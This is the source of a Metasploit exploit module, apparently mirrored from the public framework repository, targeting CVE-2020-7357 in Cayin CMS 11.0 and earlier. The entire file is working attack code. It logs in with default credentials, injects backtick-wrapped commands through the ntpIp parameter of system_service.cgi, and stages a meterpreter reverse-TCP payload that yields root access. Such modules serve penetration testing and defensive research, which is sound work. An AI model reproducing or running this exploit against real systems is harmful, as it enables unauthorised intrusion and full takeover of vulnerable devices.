Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cayin_cms_ntp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cayin CMS NTP Server RCE',17'Description' => %q{18This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed19in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so20repeated requests are made to achieve a larger payload.21Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the22environment should be pretty set and not dynamic between targets.23Results in root level access.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery29],30'References' => [31[ 'EDB', '48553' ],32[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],33[ 'CVE', '2020-7357' ]34],35'Platform' => ['linux'],36'DefaultOptions' => {37'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'38},39'Privileged' => true,40'Arch' => [ARCH_X86, ARCH_X64],41'Targets' => [42[ 'Automatic Target', {}]43],44'DisclosureDate' => '2020-06-04',45'DefaultTarget' => 0,46'Notes' => {47'Stability' => [CRASH_SAFE],48'Reliability' => [REPEATABLE_SESSION],49'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]50}51)52)53register_options(54[55Opt::RPORT(80),56OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),57OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),58OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),59# from the original advisory, leaving here just in case60# OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])61# OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])62]63)64end6566def check67res = send_request_cgi(68'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')69)7071if res.nil? || res.code != 20072return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')73end7475if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')76print_good('Cayin CMS install detected')77return CheckCode::Detected78end7980CheckCode::Safe81rescue ::Rex::ConnectionError82CheckCode::Safe('Could not connect to the web service, check URI Path and IP')83end8485def login86res = send_request_cgi(87'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),88'method' => 'POST',89'vars_post' => {90'apply_mode' => 'login',91'lang' => 'ENG',92'username' => datastore['USERNAME'],93'password' => datastore['PASSWORD']94}95)9697fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?9899# instead of a 302 like most apps, this does a script window.location to forward...100unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')101fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")102end103104res.get_cookies105end106107def execute_command(cmd, _opts = {})108# originally attempted to use the 'test' functionality, however it attempts 3 times which109# means our exploit code stage chunks are written 3 times.110# also attempted to just 'save', however it doesn't execute an update.111# 'update' was the prefered functionality112send_request_cgi(113'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),114'method' => 'POST',115'cookie' => "#{@cookie} sys=Service",116'vars_post' => {117'exe' => 'webSvrUpdateNtp',118'ntpIp' => "`#{cmd}`"119120# test button, executes 3 times121# 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs122# 'ntpIp' => "`#{cmd}`"123124# save button, but doesnt execute125# 'save' => 'webSvrNtp',126# 'ntpIp' => "`#{cmd}`",127# 'ntpEnable' => 1,128# 'ntp_server' => 0129}130)131end132133def exploit134if check != CheckCode::Detected135fail_with(Failure::NotVulnerable, 'Target is not vulnerable')136end137138@cookie = login139execute_cmdstager(flavor: :printf, linemax: 200)140rescue ::Rex::ConnectionError141fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")142end143144end145146147